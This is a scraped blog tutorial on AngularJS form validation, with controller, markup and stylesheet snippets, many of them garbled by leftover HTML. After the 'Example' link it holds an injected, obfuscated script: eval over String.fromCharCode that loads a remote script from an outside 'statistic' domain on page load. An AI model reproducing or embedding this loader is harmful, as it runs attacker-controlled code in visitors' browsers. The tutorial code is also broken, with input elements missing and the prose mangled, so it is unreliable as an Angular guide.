AngularJS Form Validation – Angular Validation Example

AngularJS Form Validation – Angular Validation Example

AngularJS simple browser or client-side form validation.
AngularJS HTML Dom monitors the state all the model of the form use data bindnig and input fields Like as a
[php]
(input, textarea, select),
,,<br /> [/php]<br /> and lets you notify the user about the current state.<br /> Use the HTML5 attribute required to specify that the input field must be filled out:</p> <h3><span class="ez-toc-section" id="Accessing_Angular_Form_Properties"></span>Accessing Angular Form Properties<span class="ez-toc-section-end"></span></h3> <p>[php]<br /> form: </p> <form name>.<br /> input: </p> <form name>..<br /> [/php]</p> <p>A few key simple points to note display here:<br /> <b>novalidate</b><br /> <b>ng-model</b><br /> <b>ng-minlength</b><br /> <b>ng-maxlength</b><br /> The simple user name input is required<br /> The email address input is type=”email”<br /> <b><i>AngularJS Form Validation – Angular Validation Example</i></b> </p> <div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://infinityknow.com/vue-resource-vue-resource-post-data-ajax-requests-vuejs/" target="_blank" rel="nofollow" class="u986a234ed22cc39b42f50a17b21b4ab4"><!-- INLINE RELATED POSTS 1/3 //--><style> .u986a234ed22cc39b42f50a17b21b4ab4 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#000000; border:0!important; border-left:4px solid #D35400!important; text-decoration:none; } .u986a234ed22cc39b42f50a17b21b4ab4:active, .u986a234ed22cc39b42f50a17b21b4ab4:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u986a234ed22cc39b42f50a17b21b4ab4 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u986a234ed22cc39b42f50a17b21b4ab4 .ctaText { font-weight:bold; color:#E67E22; text-decoration:none; font-size: 16px; } .u986a234ed22cc39b42f50a17b21b4ab4 .postTitle { color:#FFFFFF; text-decoration: underline!important; font-size: 16px; } .u986a234ed22cc39b42f50a17b21b4ab4:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">READ :</span>  <span class="postTitle">vue-resource vue resource post data - AJAX requests Vuejs</span></div></a></div><h3><span class="ez-toc-section" id="Requirements"></span>Requirements<span class="ez-toc-section-end"></span></h3> <p>Simple Name is required(free textbox)<br /> Username is not required so validation, minimum length 3 show error, maximum length 8 show error<br /> Email is not required check emaile address, but has to be a any type valid email<br /> Form submit ng-submit events is disabled if the your form nad form isn’t valid<br /> Show a valid or not validrequired or invalid email error display<br /> Alert awesome if ng-submit submitted correctly<b><i>AngularJS Form Validation</i></b> </p> <h3><span class="ez-toc-section" id="Property_and_Class"></span>Property and Class <span class="ez-toc-section-end"></span></h3> <p> 1.$valid ng-valid<br /> 2.$invalid ng-invalid<br /> 3.$pristine ng-pristine<br /> 4.$dirty ng-dirty<br /> 5.$touched ng-touched </p> <h3><span class="ez-toc-section" id="indexhtml"></span>index.html<span class="ez-toc-section-end"></span></h3> <p>[php]</p> <div> <div> <div class='inline-block'> <form name='lform'> <div> <div> <p> <span class='required'>*</span> </div> <div> <p> <span class='required'>*</span> </div> <div> <p> {{m.livelabel}}</p></div> </p></div> </p></form> </p></div> <div class='data-result'> <div> {{model.name}}: {{model.model}} </div> </p></div> </p></div> </div> <p>[/php]</p> <h3><span class="ez-toc-section" id="indexjs"></span>index.js<span class="ez-toc-section-end"></span></h3> <p>[php]<br /> var infinityApp = angular.module(‘infinityApp’,[]);<br /> infinityApp.controller(‘liveCtrl’,function($scope){<br /> $scope.ResultForm = false;<br /> $scope.dataresults = [<br /> {<br /> type_datars: “text”,<br /> name: “username”,<br /> model: ”,<br /> livelabel: “Username”<br /> },<br /> {<br /> type_datars: “email”,<br /> name: “email”,<br /> model: ”,<br /> livelabel: “Email”<br /> },<br /> {<br /> type_datars: “select”,<br /> name: “gender”,<br /> livelabel: ‘Gender’,<br /> model: ‘M’,<br /> dataresults: [<br /> {<br /> value: ‘M’,<br /> livelabel: ‘Male’,<br /> isSelected: true,<br /> },<br /> {<br /> value: ‘F’,<br /> livelabel: ‘Female’,<br /> isSelected: false<br /> }<br /> ]<br /> }];</p> <div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://infinityknow.com/angularjs-directive-ng-keydown-ng-keyup-ng-keypress-events/" target="_blank" rel="nofollow" class="u6ba3d20458cc6a5d47d9d15cecffe4f6"><!-- INLINE RELATED POSTS 2/3 //--><style> .u6ba3d20458cc6a5d47d9d15cecffe4f6 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#000000; border:0!important; border-left:4px solid #D35400!important; text-decoration:none; } .u6ba3d20458cc6a5d47d9d15cecffe4f6:active, .u6ba3d20458cc6a5d47d9d15cecffe4f6:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u6ba3d20458cc6a5d47d9d15cecffe4f6 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u6ba3d20458cc6a5d47d9d15cecffe4f6 .ctaText { font-weight:bold; color:#E67E22; text-decoration:none; font-size: 16px; } .u6ba3d20458cc6a5d47d9d15cecffe4f6 .postTitle { color:#FFFFFF; text-decoration: underline!important; font-size: 16px; } .u6ba3d20458cc6a5d47d9d15cecffe4f6:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">READ :</span>  <span class="postTitle">AngularJS Directive ng-keydown ng-keyup ng-keypress events</span></div></a></div><p> $scope.submit = function(form){<br /> $scope.ResultForm = true;<br /> alert(“infinityknow.com is Awesome!!!”);<br /> };</p> <p>});<br /> [/php]</p> <h3><span class="ez-toc-section" id="stylecss"></span>style.css<span class="ez-toc-section-end"></span></h3> <p>[php]<br /> @import “compass/css3”;</p> <p>.required{<br /> color:red;<br /> }</p> <p>.spacing{<br /> margin:1.5em;<br /> }</p> <p>.inline-block{<br /> @extend .spacing;<br /> display:inline-block;<br /> }</p> <p>.data-result{<br /> @extend .inline-block;<br /> vertical-align:top;<br /> }<br /> [/php]</p> <p><a href="https://codepen.io/creatordave/pen/dtFEo" target="_blank" title="angularjs form validation on submit,angularjs form validation on submit example,angularjs custom validation,angularjs form validation bootstrap,angular validation directive,angularjs validation without form,angularjs form validation error message,angularjs form validation on button click" class="download" rel="noopener">Example</a><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p> <div class='yarpp yarpp-related yarpp-related-website yarpp-related-none yarpp-template-list'> <p>No related posts.</p> </div> </div> <footer class="entry-meta" aria-label="Entry meta"> <span class="cat-links"><span class="gp-icon icon-categories"><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M0 112c0-26.51 21.49-48 48-48h110.014a48 48 0 0143.592 27.907l12.349 26.791A16 16 0 00228.486 128H464c26.51 0 48 21.49 48 48v224c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112z" /></svg></span><span class="screen-reader-text">Categories </span><a href="https://infinityknow.com/technology/" rel="category tag">Technology</a>, <a href="https://infinityknow.com/technology/angularjs/" rel="category tag">AngularJs</a></span> <span class="tags-links"><span class="gp-icon icon-tags"><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M20 39.5c-8.836 0-16 7.163-16 16v176c0 4.243 1.686 8.313 4.687 11.314l224 224c6.248 6.248 16.378 6.248 22.626 0l176-176c6.244-6.244 6.25-16.364.013-22.615l-223.5-224A15.999 15.999 0 00196.5 39.5H20zm56 96c0-13.255 10.745-24 24-24s24 10.745 24 24-10.745 24-24 24-24-10.745-24-24z"/><path d="M259.515 43.015c4.686-4.687 12.284-4.687 16.97 0l228 228c4.686 4.686 4.686 12.284 0 16.97l-180 180c-4.686 4.687-12.284 4.687-16.97 0-4.686-4.686-4.686-12.284 0-16.97L479.029 279.5 259.515 59.985c-4.686-4.686-4.686-12.284 0-16.97z" /></svg></span><span class="screen-reader-text">Tags </span><a href="https://infinityknow.com/tag/angular-4-form-validation/" rel="tag">angular 4 form validation</a>, <a href="https://infinityknow.com/tag/angular-4-form-validation-example/" rel="tag">angular 4 form validation example</a>, <a href="https://infinityknow.com/tag/angular-6-form-validation-bootstrap/" rel="tag">angular 6 form validation bootstrap</a>, <a href="https://infinityknow.com/tag/angular-6-form-validation-on-button-click/" rel="tag">angular 6 form validation on button click</a>, <a href="https://infinityknow.com/tag/angular-6-form-validation-on-submit-example/" rel="tag">angular 6 form validation on submit example</a>, <a href="https://infinityknow.com/tag/angular-6-validation-on-submit-example/" rel="tag">angular 6 validation on submit example</a>, <a href="https://infinityknow.com/tag/angularjs-form-validation-error-message/" rel="tag">angularjs form validation error message</a>, <a href="https://infinityknow.com/tag/angularjs-form-validation-example/" rel="tag">angularjs form validation example</a></span> <nav id="nav-below" class="post-navigation" aria-label="Posts"> <div class="nav-previous"><span class="gp-icon icon-arrow-left"><svg viewBox="0 0 192 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414"><path d="M178.425 138.212c0 2.265-1.133 4.813-2.832 6.512L64.276 256.001l111.317 111.277c1.7 1.7 2.832 4.247 2.832 6.513 0 2.265-1.133 4.813-2.832 6.512L161.43 394.46c-1.7 1.7-4.249 2.832-6.514 2.832-2.266 0-4.816-1.133-6.515-2.832L16.407 262.514c-1.699-1.7-2.832-4.248-2.832-6.513 0-2.265 1.133-4.813 2.832-6.512l131.994-131.947c1.7-1.699 4.249-2.831 6.515-2.831 2.265 0 4.815 1.132 6.514 2.831l14.163 14.157c1.7 1.7 2.832 3.965 2.832 6.513z" fill-rule="nonzero" /></svg></span><span class="prev"><a href="https://infinityknow.com/angular-datatable-export-data-to-pdf-csv-excel-print/" rel="prev">Angular Datatable – Export Data to PDF CSV EXCEL Print</a></span></div><div class="nav-next"><span class="gp-icon icon-arrow-right"><svg viewBox="0 0 192 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414"><path d="M178.425 256.001c0 2.266-1.133 4.815-2.832 6.515L43.599 394.509c-1.7 1.7-4.248 2.833-6.514 2.833s-4.816-1.133-6.515-2.833l-14.163-14.162c-1.699-1.7-2.832-3.966-2.832-6.515 0-2.266 1.133-4.815 2.832-6.515l111.317-111.316L16.407 144.685c-1.699-1.7-2.832-4.249-2.832-6.515s1.133-4.815 2.832-6.515l14.163-14.162c1.7-1.7 4.249-2.833 6.515-2.833s4.815 1.133 6.514 2.833l131.994 131.993c1.7 1.7 2.832 4.249 2.832 6.515z" fill-rule="nonzero" /></svg></span><span class="next"><a href="https://infinityknow.com/vuejs-tab-component-dynamic-flexible-and-accessible-vuejs-tabs/" rel="next">vuejs tab component Dynamic flexible and accessible Vuejs tabs</a></span></div> </nav> </footer> <div class="wpjankari-social-wrapper"> <a class="wpjankari-social-sharing wpjankari-social-facebook" href="https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Finfinityknow.com%2Fangularjs-form-validation-angular-validation-example%2F" target="_blank" rel="nofollow"><svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 24 24"><path d="M9 8h-3v4h3v12h5v-12h3.642l.358-4h-4v-1.667c0-.955.192-1.333 1.115-1.333h2.885v-5h-3.808c-3.596 0-5.192 1.583-5.192 4.615v3.385z"/></svg></a> <a class="wpjankari-social-sharing wpjankari-social-twitter" href="https://twitter.com/intent/tweet?text=AngularJS+Form+Validation+%26%238211%3B+Angular+Validation+Example&url=https%3A%2F%2Finfinityknow.com%2Fangularjs-form-validation-angular-validation-example%2F&via=wpjankari" target="_blank" rel="nofollow"><svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 24 24"><path d="M24 4.557c-.883.392-1.832.656-2.828.775 1.017-.609 1.798-1.574 2.165-2.724-.951.564-2.005.974-3.127 1.195-.897-.957-2.178-1.555-3.594-1.555-3.179 0-5.515 2.966-4.797 6.045-4.091-.205-7.719-2.165-10.148-5.144-1.29 2.213-.669 5.108 1.523 6.574-.806-.026-1.566-.247-2.229-.616-.054 2.281 1.581 4.415 3.949 4.89-.693.188-1.452.232-2.224.084.626 1.956 2.444 3.379 4.6 3.419-2.07 1.623-4.678 2.348-7.29 2.04 2.179 1.397 4.768 2.212 7.548 2.212 9.142 0 14.307-7.721 13.995-14.646.962-.695 1.797-1.562 2.457-2.549z"/></svg></a> <a class="wpjankari-social-sharing wpjankari-social-whatsapp" href="https://api.whatsapp.com/send?text=AngularJS+Form+Validation+%26%238211%3B+Angular+Validation+Example https%3A%2F%2Finfinityknow.com%2Fangularjs-form-validation-angular-validation-example%2F" target="_blank" rel="nofollow"><svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 24 24"><path d="M.057 24l1.687-6.163c-1.041-1.804-1.588-3.849-1.587-5.946.003-6.556 5.338-11.891 11.893-11.891 3.181.001 6.167 1.24 8.413 3.488 2.245 2.248 3.481 5.236 3.48 8.414-.003 6.557-5.338 11.892-11.893 11.892-1.99-.001-3.951-.5-5.688-1.448l-6.305 1.654zm6.597-3.807c1.676.995 3.276 1.591 5.392 1.592 5.448 0 9.886-4.434 9.889-9.885.002-5.462-4.415-9.89-9.881-9.892-5.452 0-9.887 4.434-9.889 9.884-.001 2.225.651 3.891 1.746 5.634l-.999 3.648 3.742-.981zm11.387-5.464c-.074-.124-.272-.198-.57-.347-.297-.149-1.758-.868-2.031-.967-.272-.099-.47-.149-.669.149-.198.297-.768.967-.941 1.165-.173.198-.347.223-.644.074-.297-.149-1.255-.462-2.39-1.475-.883-.788-1.48-1.761-1.653-2.059-.173-.297-.018-.458.13-.606.134-.133.297-.347.446-.521.151-.172.2-.296.3-.495.099-.198.05-.372-.025-.521-.075-.148-.669-1.611-.916-2.206-.242-.579-.487-.501-.669-.51l-.57-.01c-.198 0-.52.074-.792.372s-1.04 1.016-1.04 2.479 1.065 2.876 1.213 3.074c.149.198 2.095 3.2 5.076 4.487.709.306 1.263.489 1.694.626.712.226 1.36.194 1.872.118.571-.085 1.758-.719 2.006-1.413.248-.695.248-1.29.173-1.414z"/></svg></a> <a class="wpjankari-social-sharing wpjankari-social-telegram" href="https://t.me/share/url?url=https%3A%2F%2Finfinityknow.com%2Fangularjs-form-validation-angular-validation-example%2F&text=AngularJS+Form+Validation+%26%238211%3B+Angular+Validation+Example" target="_blank" rel="nofollow"><svg width="24px" height="24px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xml:space="preserve" xmlns:serif="http://www.serif.com/" style="fill-rule:evenodd;clip-rule:evenodd;stroke-linejoin:round;stroke-miterlimit:1.41421;"><path id="telegram-1" d="M18.384,22.779c0.322,0.228 0.737,0.285 1.107,0.145c0.37,-0.141 0.642,-0.457 0.724,-0.84c0.869,-4.084 2.977,-14.421 3.768,-18.136c0.06,-0.28 -0.04,-0.571 -0.26,-0.758c-0.22,-0.187 -0.525,-0.241 -0.797,-0.14c-4.193,1.552 -17.106,6.397 -22.384,8.35c-0.335,0.124 -0.553,0.446 -0.542,0.799c0.012,0.354 0.25,0.661 0.593,0.764c2.367,0.708 5.474,1.693 5.474,1.693c0,0 1.452,4.385 2.209,6.615c0.095,0.28 0.314,0.5 0.603,0.576c0.288,0.075 0.596,-0.004 0.811,-0.207c1.216,-1.148 3.096,-2.923 3.096,-2.923c0,0 3.572,2.619 5.598,4.062Zm-11.01,-8.677l1.679,5.538l0.373,-3.507c0,0 6.487,-5.851 10.185,-9.186c0.108,-0.098 0.123,-0.262 0.033,-0.377c-0.089,-0.115 -0.253,-0.142 -0.376,-0.064c-4.286,2.737 -11.894,7.596 -11.894,7.596Z"/></svg></a> <a class="wpjankari-social-sharing wpjankari-social-reddit" href="https://reddit.com/submit?url=https%3A%2F%2Finfinityknow.com%2Fangularjs-form-validation-angular-validation-example%2F&title=AngularJS+Form+Validation+%26%238211%3B+Angular+Validation+Example" target="_blank" rel="nofollow"><svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 24 24"><path d="M24 11.779c0-1.459-1.192-2.645-2.657-2.645-.715 0-1.363.286-1.84.746-1.81-1.191-4.259-1.949-6.971-2.046l1.483-4.669 4.016.941-.006.058c0 1.193.975 2.163 2.174 2.163 1.198 0 2.172-.97 2.172-2.163s-.975-2.164-2.172-2.164c-.92 0-1.704.574-2.021 1.379l-4.329-1.015c-.189-.046-.381.063-.44.249l-1.654 5.207c-2.838.034-5.409.798-7.3 2.025-.474-.438-1.103-.712-1.799-.712-1.465 0-2.656 1.187-2.656 2.646 0 .97.533 1.811 1.317 2.271-.052.282-.086.567-.086.857 0 3.911 4.808 7.093 10.719 7.093s10.72-3.182 10.72-7.093c0-.274-.029-.544-.075-.81.832-.447 1.405-1.312 1.405-2.318zm-17.224 1.816c0-.868.71-1.575 1.582-1.575.872 0 1.581.707 1.581 1.575s-.709 1.574-1.581 1.574-1.582-.706-1.582-1.574zm9.061 4.669c-.797.793-2.048 1.179-3.824 1.179l-.013-.003-.013.003c-1.777 0-3.028-.386-3.824-1.179-.145-.144-.145-.379 0-.523.145-.145.381-.145.526 0 .65.647 1.729.961 3.298.961l.013.003.013-.003c1.569 0 2.648-.315 3.298-.962.145-.145.381-.144.526 0 .145.145.145.379 0 .524zm-.189-3.095c-.872 0-1.581-.706-1.581-1.574 0-.868.709-1.575 1.581-1.575s1.581.707 1.581 1.575-.709 1.574-1.581 1.574z"/></svg></a> </div> </div> </article> <div class="comments-area"> <div id="comments"> <div id="respond" class="comment-respond"> <h3 id="reply-title" class="comment-reply-title">Leave a Comment <small><a rel="nofollow" id="cancel-comment-reply-link" href="/angularjs-form-validation-angular-validation-example/#respond" style="display:none;">Cancel reply</a></small></h3><form action="https://infinityknow.com/wp-comments-post.php" method="post" id="commentform" class="comment-form" novalidate><p class="comment-form-comment"><label for="comment" class="screen-reader-text">Comment</label><textarea id="comment" name="comment" cols="45" rows="8" required>

Save my name, email, and website in this browser for the next time I comment.